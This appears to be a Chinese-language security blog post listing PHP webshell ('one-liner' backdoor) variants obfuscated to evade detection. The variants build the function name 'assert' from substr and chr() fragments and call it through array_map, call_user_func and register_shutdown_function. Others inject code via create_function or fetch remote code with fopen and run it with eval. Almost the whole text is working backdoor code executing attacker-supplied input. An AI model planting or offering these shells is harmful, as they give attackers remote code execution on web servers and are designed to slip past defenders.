想法来自于:X_Al3r的文章 https://bbs.ichunqiu.com/thread-28883-1-1.html
一句话的原型
assert($_GET[‘x’]);

0x00 变量组合
1、字符串截取

<?php
function test($D){
$a = substr("abcdefghijklmnopqrstufwxyz",0,1);
    $b = substr("abcdefghijklmnopqrstufwxyz",17,3);
    $c = substr("abcdefghijklmnopqrstufwxyz",3,2);
    $ss = $a.$b.$c; //arstde
    $d  = $ss[0].$ss[2].$ss[2]; //ass
    $dd = $ss[5].$ss[1].$ss[3]; //ert
    $x = $d.$dd;
$x($D);
}
test($_GET['x']);
?>

2、字符串截取(变种)+回调


<?php
function test($aa)
{
$a =  chr(97).chr(115).chr(115).chr(101).chr(114).chr(116);
return $a;
}
$test = test();
$ddd =array($_GET['x']);
array_map($D = $test,$DD = $ddd );
?>

3、chr()+小写转换+回调(变种)


<?php
/*
97  =  a    65        =        A
115 =  s        83        =        S
101 =  e        69        =        E
114 =  r        82        =        R
116 =  t        84        =        T
*/
                $a = chr(65).chr(83).chr(83);//ASS
                $b = chr(69).chr(82).chr(84);//ERT
                $c = strtolower($a.$b);//assert
                $aa = array($_GET['x']);
                array_map($D = $c,$DD = $aa );
//strtolower(): 该函数将传入的字符串参数所有的字符都转换成小写,并以小定形式放回这个字
//strtoupper(): 该函数的作用同strtolower函数相反,是将传入的字符参数的字符全部转换成大
?>

0x01 回调函数

1、array_map()

array_map函数我就不过多的说了,毕竟前面也用到了许多。

function a(){
         return 'assert';
}
$a=a();
$aa = array($_GET['x']);
array_map($a,$a=$aa);


2、call_user_func_array()
call_user_func_array可以说作用性跟array_map差不多,不过还是有一些不同。


function a(){
         return 'assert';
}
$a=a();
$aa = array($_GET['x']);
call_user_func_array($a,$a=$aa);


3、call_user_func()
用P牛博客上的一句话来说这算是回调后门的老祖宗了。
function a(){
         return 'assert';
}
$a=a();
$aa=$_GET['x'];
call_user_func($a,$a=$aa);


4、register_shutdown_function()

$aa=$_GET['x'];
register_shutdown_function('assert',$a=$aa);

0x02其他函数
1、create_function函数
<?php
$a=array(";}$_GET[x];/*"=>"1");
$b=array_flip($a);
$c = $b[1];
create_function('$args',$c); 
?>
2、fopen函数

<?php
$u = $_GET['url']; 
$handle1 = fopen($u, 'r');
$content = '';
while(false != ($a1 = fread($handle1, 8080))){
$content .= $a;
}
print(eval($a=$content));
fclose($handle1);
?>